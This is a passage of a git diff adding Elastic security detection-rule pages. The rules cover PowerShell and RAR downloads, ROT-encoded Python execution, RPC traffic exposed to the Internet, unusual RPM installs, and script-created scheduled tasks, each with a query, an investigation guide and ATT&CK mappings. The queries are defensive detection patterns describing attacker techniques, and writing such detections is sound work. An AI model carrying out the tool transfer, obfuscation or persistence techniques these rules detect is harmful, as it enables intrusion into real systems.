+*Investigating Roshal Archive (RAR) or PowerShell File Downloaded from the Internet* + + +RAR files and PowerShell scripts are powerful tools in IT environments, used for data compression and task automation, respectively. However, adversaries exploit these for malicious purposes, such as downloading encrypted tools to evade detection. The detection rule identifies unusual downloads of these files from external sources, flagging potential threats by monitoring network traffic and excluding trusted internal IP ranges. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the internal host that initiated the download, focusing on the source IP addresses within the ranges 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16. +- Examine the destination IP address of the download to determine if it is associated with known malicious activity or if it is an unusual external IP not typically accessed by the organization. +- Analyze the downloaded file's URL extension or path to confirm if it matches .ps1 or .rar, and assess whether this is expected behavior for the identified host or user. +- Check the internal host's recent activity for any signs of lateral movement or further suspicious downloads, which could indicate a broader compromise. +- Investigate the user account associated with the internal host to verify if the download aligns with their typical usage patterns and permissions. +- Utilize threat intelligence sources to gather additional context on the downloaded file or the external IP address to assess potential risks or known threats. + + +*False positive analysis* + + +- Internal software updates or legitimate administrative scripts may trigger the rule. To manage this, create exceptions for known internal update servers or trusted administrative IP addresses. +- Automated backup processes that use RAR files for compression can be mistaken for threats. Exclude IP addresses or domains associated with these backup services from the rule. +- Development environments often download scripts for testing purposes. Identify and exclude IP ranges or specific hosts associated with development activities to prevent false positives. +- Security tools that download threat intelligence or updates in RAR format might be flagged. Whitelist the IP addresses of these security tools to avoid unnecessary alerts. +- Regularly review and update the list of trusted internal IP ranges to ensure that legitimate traffic is not incorrectly flagged as suspicious. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement or data exfiltration. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious files or scripts. +- Review and analyze network logs to identify any other potentially compromised systems or unusual outbound connections that may indicate further compromise. +- Reset credentials and access tokens for the affected host and any other systems that may have been accessed using the compromised host. +- Restore the affected system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement network segmentation to limit the ability of threats to move laterally within the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation and recovery efforts. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.http or network_traffic.tls or fortinet_fortigate.log) or + (data_stream.dataset: panw.panos and network.application: "web-browsing") or + (event.category: (network or network_traffic) and network.protocol: http)) and + (url.extension:(ps1 or rar) or url.path:(*.ps1 or *.rar)) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rot-encoded-python-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rot-encoded-python-script-execution.asciidoc new file mode 100644 index 0000000000..17bed84595 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rot-encoded-python-script-execution.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-rot-encoded-python-script-execution]] +=== ROT Encoded Python Script Execution + +Identifies the execution of a Python script that uses the ROT cipher for letters substitution. Adversaries may use this method to encode and obfuscate part of their malicious code in legit python packages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/dprk-code-of-conduct +* https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Encoding-Based Obfuscation +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ROT Encoded Python Script Execution* + + +ROT encoding, a simple letter substitution cipher, is often used to obfuscate Python scripts, making them harder to analyze. Adversaries exploit this by embedding ROT-encoded scripts within legitimate packages to evade detection. The detection rule identifies such activities by monitoring Python script executions and the presence of ROT-encoded compiled files, flagging potential misuse on Windows and macOS systems. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the specific Python process that triggered the alert and gather details such as the process start time and command line arguments. +- Examine the file path and name of the ROT-encoded compiled file (e.g., "rot_??.cpython-*.pyc") to determine its origin and whether it is part of a legitimate package or potentially malicious. +- Check the parent process of the Python script to understand how it was initiated and whether it was executed by a legitimate application or user. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Analyze any network connections or file modifications made by the Python process to identify potential data exfiltration or further malicious activity. +- Correlate this alert with other security events or logs from the same host to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Legitimate development activities may trigger the rule if developers use ROT encoding for testing or educational purposes. To manage this, create exceptions for known development environments or specific user accounts involved in such activities. +- Automated scripts or tools that use ROT encoding for legitimate data processing tasks can be flagged. Identify these scripts and whitelist their execution paths or associated process names to prevent false alerts. +- Some security tools or software may use ROT encoding as part of their normal operations. Review and document these tools, then configure the detection system to exclude their known file paths or process identifiers. +- Regularly scheduled tasks or cron jobs that involve ROT-encoded files for non-malicious purposes can cause false positives. Exclude these tasks by specifying their unique identifiers or execution schedules in the detection rule settings. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious activity. +- Terminate any running Python processes that are identified as executing ROT-encoded scripts to halt the execution of obfuscated code. +- Conduct a thorough review of the affected system to identify and remove any ROT-encoded Python files, specifically targeting files matching the pattern "rot_??.cpython-*.pyc*". +- Restore any affected systems from a known good backup to ensure the removal of any persistent threats. +- Implement application whitelisting to prevent unauthorized Python scripts from executing, focusing on blocking scripts with ROT encoding patterns. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Update detection mechanisms to monitor for similar ROT-encoded script activities, enhancing the ability to detect and respond to future threats. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type in ("windows", "macos") and event.type == "start" and process.name : "python*" and + not ( + process.args : ("*gcloud.py", "*conda-script.py", "*compileall.py", "*.lmstudio*") or + process.parent.args : ("*gcloud.py", "*conda-script.py", "*compileall.py", "*.lmstudio*") + )] + [file where host.os.type in ("windows", "macos") and + event.action != "deletion" and process.name : "python*" and file.name : "rot_??.cpython-*.pyc*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-from-the-internet.asciidoc new file mode 100644 index 0000000000..fa7849d323 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-from-the-internet.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-rpc-remote-procedure-call-from-the-internet]] +=== RPC (Remote Procedure Call) from the Internet + +This rule detects network events that may indicate the use of RPC traffic from the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-zeek.* +* logs-corelight.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: Fortinet +* Data Source: Network Traffic +* Data Source: PAN-OS +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) from the Internet* + + +RPC enables remote management and resource sharing, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic by monitoring TCP port 135 and filtering out internal IP addresses, flagging potential threats from external sources. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from a known malicious actor or if it has been flagged in previous incidents. +- Check the destination IP address to confirm it belongs to a critical internal system that should not be exposed to the Internet. +- Analyze network traffic logs to identify any unusual patterns or volumes of traffic associated with the source IP, focusing on TCP port 135. +- Investigate any related alerts or logs from the same source IP or destination IP to identify potential patterns or repeated attempts. +- Assess the potential impact on the affected system by determining if any unauthorized access or changes have occurred. +- Consult threat intelligence sources to gather additional context on the source IP or any related indicators of compromise. + + +*False positive analysis* + + +- Internal testing or development environments may generate RPC traffic that appears to originate from external sources. To manage this, add the IP addresses of these environments to the exception list in the detection rule. +- Legitimate remote management activities by trusted third-party vendors could trigger the rule. Verify the IP addresses of these vendors and include them in the exception list if they are known and authorized. +- Misconfigured network devices or proxies might route internal RPC traffic through external IP addresses. Review network configurations to ensure proper routing and add any necessary exceptions for known devices. +- Cloud-based services or applications that use RPC for legitimate purposes might be flagged. Identify these services and adjust the rule to exclude their IP ranges if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Conduct a thorough examination of the system logs and network traffic to identify any unauthorized access or data exfiltration attempts. +- Apply the latest security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Change all administrative and user credentials on the affected system and any other systems that may have been accessed using the same credentials. +- Implement network segmentation to limit the exposure of critical systems and services, ensuring that RPC services are not accessible from the Internet. +- Monitor the network for any signs of re-infection or further suspicious activity, focusing on traffic patterns similar to those identified in the initial alert. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow) or event.category:(network or network_traffic)) and + network.transport:tcp and (destination.port:135 or data_stream.dataset:zeek.dce_rpc) and + not (event.type: denied or event.action: flow_dropped or event.outcome: failure) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not ( + data_stream.dataset:panw.panos and + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-to-the-internet.asciidoc new file mode 100644 index 0000000000..fc54855cb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpc-remote-procedure-call-to-the-internet.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-rpc-remote-procedure-call-to-the-internet]] +=== RPC (Remote Procedure Call) to the Internet + +This rule detects network events that may indicate the use of RPC traffic to the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-zeek.* +* logs-corelight.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) to the Internet* + + +RPC enables remote management and resource sharing across networks, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic from internal IPs to external networks, flagging potential exploitation attempts by monitoring specific ports and IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the RPC traffic. Check if this IP belongs to a known or authorized device within the network. +- Examine the destination IP address to determine if it is a known or suspicious external entity. Use threat intelligence sources to assess if the IP has been associated with malicious activity. +- Analyze the network traffic logs for the specific event.dataset values (network_traffic.flow or zeek.dce_rpc) to gather more context about the nature and volume of the RPC traffic. +- Investigate the destination port, specifically port 135, to confirm if the traffic is indeed RPC-related and assess if there are any legitimate reasons for this communication. +- Check for any recent changes or anomalies in the network configuration or system settings of the source IP that might explain the unexpected RPC traffic. +- Correlate this alert with other security events or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Internal testing environments may generate RPC traffic to external IPs for legitimate purposes. Identify and document these environments, then create exceptions in the detection rule to prevent unnecessary alerts. +- Cloud-based services or applications that require RPC communication for integration or management might trigger false positives. Review these services and whitelist their IP addresses if they are verified as non-threatening. +- VPN or remote access solutions that use RPC for secure connections can be mistaken for suspicious activity. Ensure that the IP ranges of these solutions are excluded from the rule to avoid false alerts. +- Automated backup or synchronization tools that use RPC to communicate with external servers could be flagged. Verify these tools and add their destination IPs to an exception list if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough analysis of the affected system to identify any unauthorized changes or installed backdoors, focusing on processes and services related to RPC. +- Revoke any compromised credentials and enforce a password reset for all accounts that may have been accessed or used during the incident. +- Apply necessary patches and updates to the affected system and any other systems with similar vulnerabilities to mitigate the risk of exploitation. +- Monitor network traffic for any signs of lateral movement or additional suspicious activity, particularly focusing on RPC-related traffic. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced logging and monitoring for RPC traffic to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow) or event.category:(network or network_traffic)) and + network.transport:tcp and (destination.port:135 or data_stream.dataset:zeek.dce_rpc) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + not ( + data_stream.dataset:panw.panos and + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpm-package-installed-by-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpm-package-installed-by-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..e4ab02cf69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rpm-package-installed-by-unusual-parent-process.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-rpm-package-installed-by-unusual-parent-process]] +=== RPM Package Installed by Unusual Parent Process + +This rule leverages the new_terms rule type to identify the installation of RPM packages by an unusual parent process. RPM is a package management system used in Linux systems such as Red Hat, CentOS and Fedora. Attacks may backdoor RPM packages to gain initial access or install malicious RPM packages to maintain persistence. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Supply Chain +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPM Package Installed by Unusual Parent Process* + + +RPM is a package management system crucial for managing software on Linux distributions like Red Hat and CentOS. Adversaries may exploit RPM by installing backdoored or malicious packages to gain persistence or initial access. The detection rule identifies anomalies by flagging RPM installations initiated by atypical parent processes, which could indicate unauthorized or suspicious activity. This helps in early detection of potential threats by monitoring process execution patterns. + + +*Possible investigation steps* + + +- Review the parent process of the RPM installation to determine if it is a known and legitimate process. Investigate any unusual or unexpected parent processes that initiated the RPM command. +- Examine the command-line arguments used with the RPM process, specifically looking for the "-i" or "--install" flags, to confirm the installation action and gather more context about the package being installed. +- Check the timestamp of the event to correlate it with other activities on the system, such as user logins or other process executions, to identify any suspicious patterns or anomalies. +- Investigate the user account under which the RPM installation was executed to determine if it aligns with expected administrative activities or if it indicates potential unauthorized access. +- Analyze the network activity around the time of the RPM installation to identify any external connections that could suggest data exfiltration or communication with a command and control server. +- Review system logs and other security alerts from the same timeframe to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently install RPM packages as part of routine maintenance or updates. To manage this, create exceptions for known administrative accounts or specific scripts that regularly perform these actions. +- Some legitimate software deployment tools might use non-standard parent processes to install RPM packages. Identify and whitelist these tools to prevent unnecessary alerts. +- Development environments might trigger RPM installations through unusual parent processes during testing or software builds. Exclude these environments or specific processes from the rule to reduce false positives. +- Custom or third-party management tools that are not widely recognized might also cause alerts. Review and whitelist these tools if they are verified as safe and necessary for operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further compromise. +- Terminate any suspicious processes related to the RPM installation that were initiated by unusual parent processes. +- Conduct a thorough review of the installed RPM packages to identify and remove any unauthorized or malicious software. +- Restore the system from a known good backup if malicious packages have been confirmed and system integrity is compromised. +- Update and patch the system to ensure all software is up-to-date, reducing the risk of exploitation through known vulnerabilities. +- Implement stricter access controls and monitoring on systems to prevent unauthorized RPM installations, focusing on unusual parent processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and process.name:rpm and +process.args:("-i" or "--install") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-created-by-a-windows-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-created-by-a-windows-script.asciidoc new file mode 100644 index 0000000000..ded486c528 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-scheduled-task-created-by-a-windows-script.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-scheduled-task-created-by-a-windows-script]] +=== Scheduled Task Created by a Windows Script + +A scheduled task was created by a Windows script via cscript.exe, wscript.exe or powershell.exe. This can be abused by an adversary to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Decode the base64 encoded Tasks Actions registry value to investigate the task's configured action. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 30s + [any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") and + process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe")] + [registry where host.os.type == "windows" and event.type == "change" and registry.value : "Actions" and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\\Actions", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\\Actions" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* 